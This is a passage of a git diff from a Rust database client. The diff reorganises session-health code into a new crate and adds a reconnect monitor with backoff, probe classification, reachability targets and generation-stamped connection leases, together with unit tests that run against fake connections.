retired { + let close_timeout = ctx.close_timeout; + ctx.tasks.spawn_task(async move { + let report = retired.close(close_timeout).await; + tracing::debug!(?report, "closed the replaced connection"); + }); + } + // Shutdown cancels before it takes the link, so a replacement the + // link refused, handed back above to close, always shows up here. + if ctx.cancel.is_cancelled() { + return None; + } + *ctx.reachability.lock().unwrap_or_else(PoisonError::into_inner) = reachability; + ctx.catalog.send_replace(CatalogSnapshot { + generation, + schemas: parts.schemas.into(), + objects: parts.objects.into(), + }); + if !remember.is_empty() { + let stored = ctx.plan.credentials.remember(remember); + ctx.tasks.spawn_task(async move { + for (kind, error) in stored.await { + tracing::warn!(?kind, %error, "a secret typed for the reconnect was not stored"); + } + }); + } + Some(ReconnectResult::Connected(generation)) +} + +/// A refused prompt is the user saying no, so the session parks rather +/// than retrying behind their back. +fn classify_failure(error: &ConnectError) -> ReconnectResult { + match (error, error.failure_cause()) { + (_, Some(cause)) => ReconnectResult::Rejected(cause), + (ConnectError::Cancelled, None) => ReconnectResult::Rejected(FailureCause::Authentication), + (_, None) => ReconnectResult::Failed, + } +} + +async fn discard_late(pending: PendingSession) { + let report = pending.discard().await; + tracing::debug!(?report, "closed a reconnect that finished after its session ended"); +} + +#[cfg(test)] +mod tests { + use std::sync::Arc; + + use tablepro_core::{DriverError, LivenessPolicy, LossPhase, NetworkEndpoint, TransportError}; + use tablepro_test_support::{CallCounters, ConnectionScript, FakeConnection, FakePrompter, FakeReply}; + + use super::*; + use crate::fakes::{FakeConnector, FakeCredentialSource, FakeEstablish}; + use crate::operation::DefaultDeadlines; + use crate::session::{Session, SessionDeps}; + use crate::test_support::paused_tasks; + + fn refused() -> ConnectError { + ConnectError::Driver(DriverError::Transport(TransportError::Refused { + endpoint: NetworkEndpoint::new("db.example.com", 5432).unwrap(), + })) + } + + fn healthy() -> ConnectionScript { + let mut script = ConnectionScript::default(); + script.probe.always(FakeReply::ok(())); + script + } + + struct Started { + session: Arc, + connection: Arc, + connector: Arc, + credentials: Arc, + } + + fn start(script: ConnectionScript, connector: FakeConnector) -> Started { + start_with(script, connector, None) + } + + fn start_with(script: ConnectionScript, connector: FakeConnector, prompter: Option>) -> Started { + let (pending, connection) = FakeConnector::pending_session(FakeConnector::request().unwrap(), script); + let connector = Arc::new(connector); + let credentials = Arc::new(FakeCredentialSource::new()); + let session = Session::start( + pending, + SessionDeps { + connector: connector.clone(), + credentials: credentials.clone(), + deadlines: Arc::new(DefaultDeadlines::new(LivenessPolicy::DESKTOP)), + tasks: paused_tasks(), + prompter: prompter.map(|prompter| prompter as _), + }, + ); + Started { + session, + connection, + connector, + credentials, + } + } + + async fn settle() { + for _ in 0..20 { + tokio::task::yield_now().await; + } + } + + fn lost() -> MonitorSignal { + MonitorSignal::ConnectionLost { + generation: LinkGeneration::FIRST, + } + } + + #[tokio::test(start_paused = true)] + async fn reconnects_on_connection_lost_with_exact_backoff() { + let connector = FakeConnector::new([ + FakeEstablish::Fail(refused()), + FakeEstablish::Fail(refused()), + FakeEstablish::Fail(refused()), + FakeEstablish::Connect(healthy()), + ]); + let started = start(healthy(), connector); + let lost_at = Instant::now(); + + started.session.signal(lost()); + tokio::time::sleep(Duration::from_secs(120)).await; + + let offsets: Vec = started.connector.calls().iter().map(|call| call.at - lost_at).collect(); + assert_eq!( + offsets, + [0, 5, 15, 35].map(Duration::from_secs), + "attempts did not follow the 5 s doubling backoff" + ); + assert_eq!(*started.session.health().borrow(), SessionHealth::Online); + assert_eq!( + started.session.link_changes().borrow().get(), + 1, + "the reconnect did not replace the link" + ); + } + + #[tokio::test(start_paused = true)] + async fn health_counts_the_reconnect_attempts() { + let connector = FakeConnector::new([]).always(FakeEstablish::Fail(refused())); + let started = start(healthy(), connector); + + started.session.signal(lost()); + tokio::time::sleep(Duration::from_secs(1)).await; + assert_eq!( + *started.session.health().borrow(), + SessionHealth::Reconnecting { attempt: 2 } + ); + tokio::time::sleep(Duration::from_secs(5)).await; + assert_eq!( + *started.session.health().borrow(), + SessionHealth::Reconnecting { attempt: 3 } + ); + } + + #[tokio::test(start_paused = true)] + async fn refresh_called_each_attempt() { + let connector = FakeConnector::new([ + FakeEstablish::Fail(refused()), + FakeEstablish::Fail(refused()), + FakeEstablish::Connect(healthy()), + ]); + let started = start(healthy(), connector); + + started.session.signal(lost()); + tokio::time::sleep(Duration::from_secs(60)).await; + + assert_eq!(started.connector.calls().len(), 3); + assert_eq!( + started.credentials.refreshes().len(), + 3, + "a reconnect reused stale secrets" + ); + } + + #[tokio::test(start_paused = true)] + async fn monitor_passes_unattended() { + let prompter = Arc::new(FakePrompter::new([])); + let connector = FakeConnector::new([FakeEstablish::Fail(refused()), FakeEstablish::Connect(healthy())]); + let started = start_with(healthy(), connector, Some(prompter)); + + started.session.signal(lost()); + tokio::time::sleep(Duration::from_secs(30)).await; + + let calls = started.connector.calls(); + assert_eq!(calls.len(), 2); + assert!( + calls.iter().all(|call| !call.attended), + "a background reconnect could prompt" + ); + assert!(started.credentials.refreshes().iter().all(|attended| !attended)); + } + + #[tokio::test(start_paused = true)] + async fn retry_now_reconnects_attended_once() { + let prompter = Arc::new(FakePrompter::new([])); + let connector = FakeConnector::new([FakeEstablish::Fail(refused()), FakeEstablish::Connect(healthy())]); + let started = start_with(healthy(), connector, Some(prompter)); + + started.session.signal(MonitorSignal::RetryNow); + tokio::time::sleep(Duration::from_secs(30)).await; + + let attended: Vec = started.connector.calls().iter().map(|call| call.attended).collect(); + assert_eq!( + attended, + [true, false], + "only the attempt the user asked for may prompt" + ); + } + + #[tokio::test(start_paused = true)] + async fn rejected_reconnect_parks_until_retry() { + let connector = FakeConnector::new([ + FakeEstablish::Fail(ConnectError::Driver(DriverError::auth(None))), + FakeEstablish::Connect(healthy()), + ]); + let started = start(healthy(), connector); + + started.session.signal(lost()); + tokio::time::sleep(Duration::from_secs(600)).await; + assert_eq!( + *started.session.health().borrow(), + SessionHealth::Failed { + cause: FailureCause::Authentication + } + ); + assert_eq!(started.connector.calls().len(), 1, "a parked session kept retrying"); + + started.session.signal(MonitorSignal::RetryNow); + settle().await; + assert_eq!(started.connector.calls().len(), 2); + assert_eq!(*started.session.health().borrow(), SessionHealth::Online); + } + + #[tokio::test(start_paused = true)] + async fn busy_probe_keeps_online() { + let mut script = ConnectionScript::default(); + script.probe.always(FakeReply::err(DriverError::Busy)); + let started = start(script, FakeConnector::new([])); + + tokio::time::sleep(HealthPolicy::PROBE_INTERVAL * 5).await; + + assert!(CallCounters::get(&started.connection.counters().probe) >= 4); + assert_eq!(*started.session.health().borrow(), SessionHealth::Online); + assert!( + started.connector.calls().is_empty(), + "a busy server was treated as lost" + ); + } + + #[tokio::test(start_paused = true)] + async fn three_lost_probes_reconnect() { + let mut script = ConnectionScript::default(); + script.probe.always(FakeReply::err(DriverError::ConnectionLost { + during: LossPhase::Idle, + })); + let started = start(script, FakeConnector::new([FakeEstablish::Connect(healthy())])); + + tokio::time::sleep(HealthPolicy::PROBE_INTERVAL + Duration::from_secs(1)).await; + + assert_eq!(started.connector.calls().len(), 1); + assert_eq!(started.session.link_changes().borrow().get(), 1); + } + + #[tokio::test(start_paused = true)] + async fn lease_lost_future_wakes_monitor() { + let started = start(healthy(), FakeConnector::new([FakeEstablish::Connect(healthy())])); + settle().await; + + started.connection.mark_lost(); + settle().await; + + assert_eq!( + started.connector.calls().len(), + 1, + "the monitor waited for its probe timer instead" + ); + assert_eq!(started.session.link_changes().borrow().get(), 1); + tokio::time::sleep(Duration::from_secs(1)).await; + assert!(started.connection.is_closed(), "the replaced connection was left open"); + } + + #[tokio::test(start_paused = true)] + async fn late_reconnect_after_cancel_is_discarded_and_closed() { + let connector = FakeConnector::new([FakeEstablish::Late { + after: Duration::from_secs(10), + script: healthy(), + }]); + let started = start(healthy(), connector); + started.session.signal(lost()); + settle().await; + assert_eq!(started.connector.calls().len(), 1); + + let report = started.session.begin_shutdown(); + tokio::time::sleep(Duration::from_secs(30)).await; + + assert!(report.await.is_ok()); + let late = started.connector.connections(); + assert_eq!(late.len(), 1, "the late attempt never finished"); + assert!(late[0].is_closed(), "the late connection was adopted or left open"); + assert_eq!(started.session.link_changes().borrow().get(), 0); + } +} diff --git a/linux/crates/app/src/session/health_policy.rs b/linux/crates/session/src/health/health_policy.rs similarity index 100% rename from linux/crates/app/src/session/health_policy.rs rename to linux/crates/session/src/health/health_policy.rs diff --git a/linux/crates/app/src/session/link_generation.rs b/linux/crates/session/src/health/link_generation.rs similarity index 100% rename from linux/crates/app/src/session/link_generation.rs rename to linux/crates/session/src/health/link_generation.rs diff --git a/linux/crates/app/src/session/mod.rs b/linux/crates/session/src/health/mod.rs similarity index 51% rename from linux/crates/app/src/session/mod.rs rename to linux/crates/session/src/health/mod.rs index 25f21631cb..36459c9626 100644 --- a/linux/crates/app/src/session/mod.rs +++ b/linux/crates/session/src/health/mod.rs @@ -1,15 +1,10 @@ -//! Session primitives: what a connection's health is, what wakes the -//! monitor, and what identifies an attempt or a session. +//! What a session's health is and what the monitor does about it. //! -//! Everything here is GTK-free and has no connection of its own, so the -//! rules that decide when to probe, when to back off and when to stop -//! trying are testable without a server. +//! The policy is a pure state machine; the monitor task feeds it what +//! happened and carries out the one action it returns. -mod attempt_generation; -mod attempt_ticket; -mod connect_attempts; mod failure_cause; -mod file_identity; +mod health_monitor; mod health_policy; mod link_generation; mod monitor_action; @@ -18,15 +13,13 @@ mod monitor_signal; mod pending_signals; mod probe_outcome; mod reachability; +mod reachability_target; +mod reconnect_plan; mod reconnect_result; mod session_health; -mod session_key; -pub use attempt_generation::AttemptGeneration; -pub use attempt_ticket::AttemptTicket; -pub use connect_attempts::ConnectAttempts; pub use failure_cause::FailureCause; -pub use file_identity::FileIdentity; +pub(crate) use health_monitor::{MonitorContext, run_monitor}; pub use health_policy::HealthPolicy; pub use link_generation::LinkGeneration; pub use monitor_action::MonitorAction; @@ -35,6 +28,7 @@ pub use monitor_signal::MonitorSignal; pub use pending_signals::PendingSignals; pub use probe_outcome::ProbeOutcome; pub use reachability::Reachability; +pub use reachability_target::ReachabilityTarget; +pub use reconnect_plan::ReconnectPlan; pub use reconnect_result::ReconnectResult; pub use session_health::SessionHealth; -pub use session_key::SessionKey; diff --git a/linux/crates/app/src/session/monitor_action.rs b/linux/crates/session/src/health/monitor_action.rs similarity index 100% rename from linux/crates/app/src/session/monitor_action.rs rename to linux/crates/session/src/health/monitor_action.rs diff --git a/linux/crates/app/src/session/monitor_mailbox.rs b/linux/crates/session/src/health/monitor_mailbox.rs similarity index 100% rename from linux/crates/app/src/session/monitor_mailbox.rs rename to linux/crates/session/src/health/monitor_mailbox.rs diff --git a/linux/crates/app/src/session/monitor_signal.rs b/linux/crates/session/src/health/monitor_signal.rs similarity index 100% rename from linux/crates/app/src/session/monitor_signal.rs rename to linux/crates/session/src/health/monitor_signal.rs diff --git a/linux/crates/app/src/session/pending_signals.rs b/linux/crates/session/src/health/pending_signals.rs similarity index 100% rename from linux/crates/app/src/session/pending_signals.rs rename to linux/crates/session/src/health/pending_signals.rs diff --git a/linux/crates/session/src/health/probe_outcome.rs b/linux/crates/session/src/health/probe_outcome.rs new file mode 100644 index 0000000000..639c0ef3ee --- /dev/null +++ b/linux/crates/session/src/health/probe_outcome.rs @@ -0,0 +1,93 @@ +use tablepro_core::{DriverError, ErrorCategory}; + +use super::FailureCause; + +/// What a health probe found. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum ProbeOutcome { + Healthy, + /// The connection answered, just not yet. It is alive, so this + /// counts as healthy for the monitor's purposes. + Busy, + /// No answer in time. One of these is a hiccup; several in a row + /// mean the connection is gone. + Unresponsive, + Lost, + /// The server answered by refusing. Retrying the probe will not + /// change that, but the connection itself is still up. + Rejected(FailureCause), +} + +impl ProbeOutcome { + pub fn classify(result: Result<(), DriverError>) -> Self { + let Err(error) = result else { + return Self::Healthy; + }; + if let Some(cause) = FailureCause::of(&error) { + return Self::Rejected(cause); + } + match error.category() { + ErrorCategory::Busy => Self::Busy, + ErrorCategory::ConnectionLost | ErrorCategory::Network | ErrorCategory::File => Self::Lost, + ErrorCategory::Timeout + | ErrorCategory::Server + | ErrorCategory::Internal + | ErrorCategory::Interrupted + | ErrorCategory::ReadOnly + | ErrorCategory::WriteOutcome => Self::Unresponsive, + ErrorCategory::Authentication => Self::Rejected(FailureCause::Authentication), + ErrorCategory::Tls => Self::Rejected(FailureCause::Tls), + ErrorCategory::Configuration => Self::Rejected(FailureCause::Configuration), + } + } +} + +#[cfg(test)] +mod tests { + use tablepro_core::{LossPhase, NetworkEndpoint, SshFailure, TimeoutPhase, TransportError}; + + use super::*; + + #[test] + fn classify_follows_the_error_category() { + let refused = DriverError::Transport(TransportError::Refused { + endpoint: NetworkEndpoint::new("db", 5432).unwrap(), + }); + let changed = DriverError::Transport(TransportError::Ssh(SshFailure::HostKeyChanged { + host: "bastion".to_owned(), + algorithm: "ED25519".to_owned(), + sha256_fingerprint: "SHA256:abc".to_owned(), + known_hosts: "/home/u/.ssh/known_hosts".into(), + line: 3, + })); + + assert_eq!(ProbeOutcome::classify(Ok(())), ProbeOutcome::Healthy); + assert_eq!(ProbeOutcome::classify(Err(DriverError::Busy)), ProbeOutcome::Busy); + assert_eq!( + ProbeOutcome::classify(Err(DriverError::Timeout { + phase: TimeoutPhase::Probe, + server_cancelled: false + })), + ProbeOutcome::Unresponsive + ); + assert_eq!( + ProbeOutcome::classify(Err(DriverError::server("boom"))), + ProbeOutcome::Unresponsive + ); + assert_eq!( + ProbeOutcome::classify(Err(DriverError::ConnectionLost { + during: LossPhase::Idle + })), + ProbeOutcome::Lost + ); + assert_eq!(ProbeOutcome::classify(Err(refused)), ProbeOutcome::Lost); + assert_eq!( + ProbeOutcome::classify(Err(DriverError::auth(None))), + ProbeOutcome::Rejected(FailureCause::Authentication) + ); + assert_eq!( + ProbeOutcome::classify(Err(changed)), + ProbeOutcome::Rejected(FailureCause::HostKeyChanged) + ); + } +} diff --git a/linux/crates/app/src/session/reachability.rs b/linux/crates/session/src/health/reachability.rs similarity index 100% rename from linux/crates/app/src/session/reachability.rs rename to linux/crates/session/src/health/reachability.rs diff --git a/linux/crates/session/src/health/reachability_target.rs b/linux/crates/session/src/health/reachability_target.rs new file mode 100644 index 0000000000..96783a245b --- /dev/null +++ b/linux/crates/session/src/health/reachability_target.rs @@ -0,0 +1,164 @@ +use std::net::IpAddr; + +use tablepro_core::NetworkEndpoint; + +use crate::connect::{ConnectRequest, RequestTarget}; +use crate::link::EstablishedConnection; + +const SSH_PORT: u16 = 22; + +/// What the network has to reach for a session to work. +/// +/// A local target is never gated on reachability: a file, a loopback +/// server and a unix socket work with no network at all, and calling +/// them offline would stop a session that is fine. +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub enum ReachabilityTarget { + Local, + Remote(NetworkEndpoint), +} + +impl ReachabilityTarget { + /// The target as the request names it: the first SSH hop when + /// tunnelled, else the service. + pub fn for_request(request: &ConnectRequest) -> Self { + match &request.target { + RequestTarget::File(_) => Self::Local, + RequestTarget::Network { ssh: Some(ssh), .. } => { + let first = ssh.jump_hosts.first().unwrap_or(&ssh.destination); + NetworkEndpoint::new(first.host(), first.port().unwrap_or(SSH_PORT)) + .map_or(Self::Local, |endpoint| Self::for_endpoint(&endpoint)) + } + RequestTarget::Network { + endpoint, ssh: None, .. + } => Self::for_endpoint(endpoint), + } + } + + /// The target once connected. An SSH alias is only resolved by ssh + /// itself, so the first hop it reports wins over the typed name; + /// a route only a ProxyCommand knows is treated as local rather + /// than guessed. + pub fn for_established(request: &ConnectRequest, established: &EstablishedConnection) -> Self { + match &established.ssh_session { + Some(session) => session.first_hop_endpoint().map_or(Self::Local, Self::for_endpoint), + None => Self::for_request(request), + } + } + + pub fn is_local(&self) -> bool { + matches!(self, Self::Local) + } + + fn for_endpoint(endpoint: &NetworkEndpoint) -> Self { + if is_local_host(endpoint.host()) { + Self::Local + } else { + Self::Remote(endpoint.clone()) + } + } +} + +fn is_local_host(host: &str) -> bool { + host.eq_ignore_ascii_case("localhost") + || host == "." + || host.starts_with('/') + || host.parse::().is_ok_and(|address| address.is_loopback()) +} + +#[cfg(test)] +mod tests { + use std::path::PathBuf; + use std::sync::Arc; + + use secrecy::SecretString; + use tablepro_core::{Credentials, FileEndpoint, TlsConfig, WorkspaceSettings}; + use tablepro_ssh::{SshAuth, SshConfig, SshDestination}; + use tablepro_test_support::{ConnectionScript, FakeDriver}; + use uuid::Uuid; + + use super::*; + use crate::connect::ConnectionMetadata; + + fn request(target: RequestTarget) -> ConnectRequest { + ConnectRequest { + metadata: ConnectionMetadata { + id: Uuid::new_v4(), + name: "n".to_owned(), + driver_id: "fake".to_owned(), + }, + driver: Arc::new(FakeDriver::connecting( + &FakeDriver::NETWORK_CAPABILITIES, + ConnectionScript::default(), + )), + target, + workspace_settings: WorkspaceSettings::workspace(false), + } + } + + fn network(host: &str, ssh: Option) -> RequestTarget { + RequestTarget::Network { + endpoint: NetworkEndpoint::new(host, 5432).unwrap(), + ssh, + credentials: Credentials::Password { + username: "u".to_owned(), + password: SecretString::from("p"), + }, + database: None, + tls: TlsConfig::disabled(), + } + } + + fn bastion(jumps: &[&str]) -> SshConfig { + SshConfig { + destination: SshDestination::new("bastion.example.com", Some(2222), None).unwrap(), + jump_hosts: jumps + .iter() + .map(|jump| SshDestination::new(*jump, None, None).unwrap()) + .collect(), + auth: SshAuth::Agent, + } + } + + fn remote(host: &str, port: u16) -> ReachabilityTarget { + ReachabilityTarget::Remote(NetworkEndpoint::new(host, port).unwrap()) + } + + #[test] + fn for_request_table() { + let file = RequestTarget::File(FileEndpoint::open_existing(PathBuf::from("/srv/app.db")).unwrap()); + let cases = [ + (network("127.0.0.1", None), ReachabilityTarget::Local), + (network("::1", None), ReachabilityTarget::Local), + (network("localhost", None), ReachabilityTarget::Local), + (network(".", None), ReachabilityTarget::Local), + (network("/var/run/postgresql", None), ReachabilityTarget::Local), + (file, ReachabilityTarget::Local), + (network("db.example.com", None), remote("db.example.com", 5432)), + ( + network("10.0.0.5", Some(bastion(&[]))), + remote("bastion.example.com", 2222), + ), + ( + network("10.0.0.5", Some(bastion(&["jump.example.com"]))), + remote("jump.example.com", 22), + ), + ( + network( + "db.example.com", + Some(SshConfig { + destination: SshDestination::new("localhost", None, None).unwrap(), + jump_hosts: Vec::new(), + auth: SshAuth::Agent, + }), + ), + ReachabilityTarget::Local, + ), + ]; + + for (target, expected) in cases { + let label = format!("{target:?}"); + assert_eq!(ReachabilityTarget::for_request(&request(target)), expected, "{label}"); + } + } +} diff --git a/linux/crates/session/src/health/reconnect_plan.rs b/linux/crates/session/src/health/reconnect_plan.rs new file mode 100644 index 0000000000..df560c9828 --- /dev/null +++ b/linux/crates/session/src/health/reconnect_plan.rs @@ -0,0 +1,35 @@ +use std::sync::Arc; + +use tablepro_core::credentials::{CredentialInteraction, CredentialPrompter}; + +use crate::connect::{ConnectRequest, Connector, CredentialSource}; + +/// How the monitor reconnects: the same request, with its secrets read +/// again each attempt. +#[derive(Clone)] +pub struct ReconnectPlan { + pub connector: Arc, + pub request: ConnectRequest, + pub credentials: Arc, + /// Asked only on a reconnect the user started with Retry. Backoff + /// attempts run with nobody watching, so they never prompt. + pub prompter: Option>, +} + +impl ReconnectPlan { + pub(crate) fn interaction(&self, user_asked: bool) -> CredentialInteraction { + match (&self.prompter, user_asked) { + (Some(prompter), true) => CredentialInteraction::Attended(prompter.clone()), + _ => CredentialInteraction::Unattended, + } + } +} + +impl std::fmt::Debug for ReconnectPlan { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("ReconnectPlan") + .field("request", &self.request) + .field("prompter", &self.prompter.is_some()) + .finish_non_exhaustive() + } +} diff --git a/linux/crates/app/src/session/reconnect_result.rs b/linux/crates/session/src/health/reconnect_result.rs similarity index 100% rename from linux/crates/app/src/session/reconnect_result.rs rename to linux/crates/session/src/health/reconnect_result.rs diff --git a/linux/crates/app/src/session/session_health.rs b/linux/crates/session/src/health/session_health.rs similarity index 100% rename from linux/crates/app/src/session/session_health.rs rename to linux/crates/session/src/health/session_health.rs diff --git a/linux/crates/session/src/lib.rs b/linux/crates/session/src/lib.rs index dde8407ed4..6dc9ccc9b4 100644 --- a/linux/crates/session/src/lib.rs +++ b/linux/crates/session/src/lib.rs @@ -1,3 +1,30 @@ +//! Generation-leased sessions over driver contract v2, free of GTK. +//! +//! A window holds one `Session`. Every use of its connection goes +//! through the `OperationRunner`, a monitor reconnects it on a backoff, +//! and the `SessionRegistry` keeps one database to one window. The app +//! adopts these on the GTK thread; nothing here needs an entered +//! runtime to be created. + +pub mod connect; +#[cfg(any(test, feature = "fakes"))] +pub mod fakes; +pub mod health; +pub mod link; +pub mod operation; +pub mod registry; pub mod runtime; +pub mod session; #[cfg(test)] mod test_support; + +pub use connect::{ + AttemptOutcome, ConnectAttempts, ConnectError, ConnectIntent, ConnectRequest, ConnectServices, ConnectSource, + ConnectionMetadata, Connector, CredentialSource, DriverConnector, NoStoredCredentials, PendingSave, PendingSession, + PersistReport, RefreshedRequest, RequestTarget, persist_pending_save, resolve_saved, +}; +pub use health::{FailureCause, LinkGeneration, MonitorSignal, ReachabilityTarget, SessionHealth}; +pub use link::{CloseReport, ConnectionLease, EstablishedConnection}; +pub use operation::{DeadlinePolicy, DefaultDeadlines, OperationError, OperationKind, OperationRunner}; +pub use registry::{ClaimError, RegistryEvent, SessionClaim, SessionKey, SessionRegistry}; +pub use session::{CatalogSnapshot, Session, SessionDeps, close_editor_sessions}; diff --git a/linux/crates/session/src/link/close_report.rs b/linux/crates/session/src/link/close_report.rs new file mode 100644 index 0000000000..9d03f5aa5f --- /dev/null +++ b/linux/crates/session/src/link/close_report.rs @@ -0,0 +1,12 @@ +use tablepro_core::DriverError; + +/// How closing a connection ended. +#[derive(Debug, Clone, PartialEq)] +pub enum CloseReport { + Closed, + /// Something closed it first, so this call had nothing to do. + AlreadyClosed, + CloseFailed(DriverError), + /// The close did not finish within its deadline and was dropped. + Abandoned, +} diff --git a/linux/crates/session/src/link/connection_lease.rs b/linux/crates/session/src/link/connection_lease.rs new file mode 100644 index 0000000000..27d57301a1 --- /dev/null +++ b/linux/crates/session/src/link/connection_lease.rs @@ -0,0 +1,58 @@ +use std::ops::Deref; +use std::sync::Arc; + +use tablepro_core::Connection; +use tokio_util::sync::WaitForCancellationFutureOwned; + +use super::EstablishedConnection; +use crate::health::LinkGeneration; + +/// The connection one operation runs on, and which generation it was. +/// +/// A lease keeps its connection alive after the link moves on, so an +/// operation already running finishes on the connection it started +/// with, and its result is judged by the generation it carries. +#[derive(Clone)] +pub struct ConnectionLease { + generation: LinkGeneration, + established: Arc, +} + +impl ConnectionLease { + pub(crate) fn new(generation: LinkGeneration, established: Arc) -> Self { + Self { + generation, + established, + } + } + + pub fn generation(&self) -> LinkGeneration { + self.generation + } + + pub fn connection(&self) -> &Arc { + &self.established.connection + } + + /// Fires when the SSH master this connection runs through exits. + /// `None` for a direct connection. + pub fn ssh_closed(&self) -> Option { + self.established.ssh_session.as_ref().map(|session| session.closed()) + } +} + +impl Deref for ConnectionLease { + type Target = dyn Connection; + + fn deref(&self) -> &Self::Target { + &*self.established.connection + } +} + +impl std::fmt::Debug for ConnectionLease { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("ConnectionLease") + .field("generation", &self.generation) + .finish_non_exhaustive() + } +} diff --git a/linux/crates/session/src/link/connection_link.rs b/linux/crates/session/src/link/connection_link.rs new file mode 100644 index 0000000000..f547fd9336 --- /dev/null +++ b/linux/crates/session/src/link/connection_link.rs @@ -0,0 +1,210 @@ +use std::sync::Arc; + +use tokio::sync::watch; + +use super::{ConnectionLease, EstablishedConnection, RetiredConnection}; +use crate::health::LinkGeneration; + +#[derive(Clone)] +struct LinkSlot { + generation: LinkGeneration, + established: Option>, + /// Set by `take`. A reconnect that finishes after the session shut + /// down must not put a connection back nobody will close. + taken: bool, +} + +/// Where the session's current connection lives. +/// +/// Replacing bumps the generation, so a loss reported by an operation +/// that leased the old connection is told apart from a loss of the new +/// one. Subscribers learn of every replacement through `subscribe`. +pub struct ConnectionLink { + slot: watch::Sender, + generation: watch::Sender, +} + +impl ConnectionLink { + pub fn new(established: EstablishedConnection) -> Self { + let generation = LinkGeneration::FIRST; + Self { + slot: watch::Sender::new(LinkSlot { + generation, + established: Some(Arc::new(established)), + taken: false, + }), + generation: watch::Sender::new(generation), + } + } + + /// The current connection, or `None` once the link was taken. + pub fn lease(&self) -> Option { + let slot = self.slot.borrow(); + slot.established + .clone() + .map(|established| ConnectionLease::new(slot.generation, established)) + } + + pub fn generation(&self) -> LinkGeneration { + self.slot.borrow().generation + } + + pub fn subscribe(&self) -> watch::Receiver { + self.generation.subscribe() + } + + /// Put a new connection in place and hand back the old one to close. + /// + /// Once the link was taken the new connection is refused and handed + /// straight back as retired, so the caller closes it. + pub fn replace(&self, established: EstablishedConnection) -> (LinkGeneration, Option) { + let established = Arc::new(established); + let mut retired = None; + let mut generation = LinkGeneration::FIRST; + let mut adopted = false; + self.slot.send_if_modified(|slot| { + generation = slot.generation; + if slot.taken { + retired = Some(RetiredConnection::new(slot.generation, established.clone())); + return false; + } + retired = slot + .established + .take() + .map(|old| RetiredConnection::new(slot.generation, old)); + slot.generation = slot.generation.next(); + slot.established = Some(established.clone()); + generation = slot.generation; + adopted = true; + true + }); + if adopted { + self.generation.send_replace(generation); + } + (generation, retired) + } + + pub fn is_taken(&self) -> bool { + self.slot.borrow().taken + } + + /// Empty the link for good, handing back the connection to close. + pub fn take(&self) -> Option { + let mut retired = None; + self.slot.send_modify(|slot| { + slot.taken = true; + retired = slot + .established + .take() + .map(|old| RetiredConnection::new(slot.generation, old)); + }); + retired + } +} + +impl std::fmt::Debug for ConnectionLink { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("ConnectionLink") + .field("generation", &self.generation()) + .finish_non_exhaustive() + } +} + +#[cfg(test)] +mod tests { + use std::time::Duration; + + use tablepro_core::CallOptions; + use tablepro_test_support::{CallCounters, CloseBehaviour, ConnectionScript, FakeConnection, FakeReply}; + use tokio_util::sync::CancellationToken; + + use super::*; + use crate::link::CloseReport; + + fn established(script: ConnectionScript) -> (EstablishedConnection, Arc) { + let connection = Arc::new(FakeConnection::new(script)); + ( + EstablishedConnection { + connection: connection.clone(), + ssh_session: None, + }, + connection, + ) + } + + fn probing() -> ConnectionScript { + let mut script = ConnectionScript::default(); + script.probe.always(FakeReply::ok(())); + script + } + + #[tokio::test] + async fn lease_survives_replace() { + let (first, first_connection) = established(probing()); + let link = ConnectionLink::new(first); + let lease = link.lease().unwrap(); + let mut changes = link.subscribe(); + + let (second, _) = established(probing()); + let (generation, retired) = link.replace(second); + + assert_eq!(lease.generation(), LinkGeneration::FIRST); + assert_eq!(generation, LinkGeneration::FIRST.next()); + assert_eq!(link.generation(), generation); + assert!(changes.has_changed().unwrap()); + assert_eq!(*changes.borrow_and_update(), generation); + lease + .probe(CallOptions::new(None, CancellationToken::new())) + .await + .expect("the old lease still reaches its connection"); + assert_eq!(CallCounters::get(&first_connection.counters().probe), 1); + assert_eq!(retired.unwrap().generation(), LinkGeneration::FIRST); + assert_eq!(link.lease().unwrap().generation(), generation); + } + + #[tokio::test] + async fn take_empties_the_link() { + let (first, connection) = established(probing()); + let link = ConnectionLink::new(first); + + let retired = link.take().unwrap(); + + assert!(link.lease().is_none()); + assert!(link.take().is_none(), "a second take found something"); + assert_eq!(retired.close(Duration::from_secs(1)).await, CloseReport::Closed); + assert!(connection.is_closed()); + } + + #[tokio::test] + async fn a_taken_link_hands_a_late_replacement_back_to_close() { + let (first, _) = established(probing()); + let link = ConnectionLink::new(first); + drop(link.take()); + let changes = link.subscribe(); + + let (late, late_connection) = established(probing()); + let (generation, retired) = link.replace(late); + + assert_eq!(generation, LinkGeneration::FIRST); + assert!(link.lease().is_none(), "a shut-down link adopted a connection"); + assert!(!changes.has_changed().unwrap()); + assert_eq!( + retired.unwrap().close(Duration::from_secs(1)).await, + CloseReport::Closed + ); + assert!(late_connection.is_closed()); + } + + #[tokio::test(start_paused = true)] + async fn a_hanging_close_is_abandoned_at_its_deadline() { + let (hanging, _) = established(ConnectionScript { + close: CloseBehaviour::Hang, + ..ConnectionScript::default() + }); + let link = ConnectionLink::new(hanging); + + let report = link.take().unwrap().close(Duration::from_secs(10)).await; + + assert_eq!(report, CloseReport::Abandoned); + } +} diff --git a/linux/crates/session/src/link/established_connection.rs b/linux/crates/session/src/link/established_connection.rs new file mode 100644 index 0000000000..0cbae5797b --- /dev/null +++ b/linux/crates/session/src/link/established_connection.rs @@ -0,0 +1,24 @@ +use std::fmt; +use std::sync::Arc; + +use tablepro_core::Connection; +use tablepro_ssh::SshSession; + +/// A connection and the SSH session it runs through, if any. +/// +/// The connection's transport already holds the SSH session; it is kept +/// here as well so the monitor can watch the master exit without asking +/// the driver. +pub struct EstablishedConnection { + pub connection: Arc, + pub ssh_session: Option>, +} + +impl fmt::Debug for EstablishedConnection { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("EstablishedConnection") + .field("server", self.connection.server_info()) + .field("ssh", &self.ssh_session.as_ref().map(|session| session.destination())) + .finish() + } +} diff --git a/linux/crates/session/src/link/mod.rs b/linux/crates/session/src/link/mod.rs new file mode 100644 index 0000000000..a36df6cdfd --- /dev/null +++ b/linux/crates/session/src/link/mod.rs @@ -0,0 +1,14 @@ +//! The session's current connection, handed out as generation-stamped +//! leases so a result from a replaced connection is recognised as stale. + +mod close_report; +mod connection_lease; 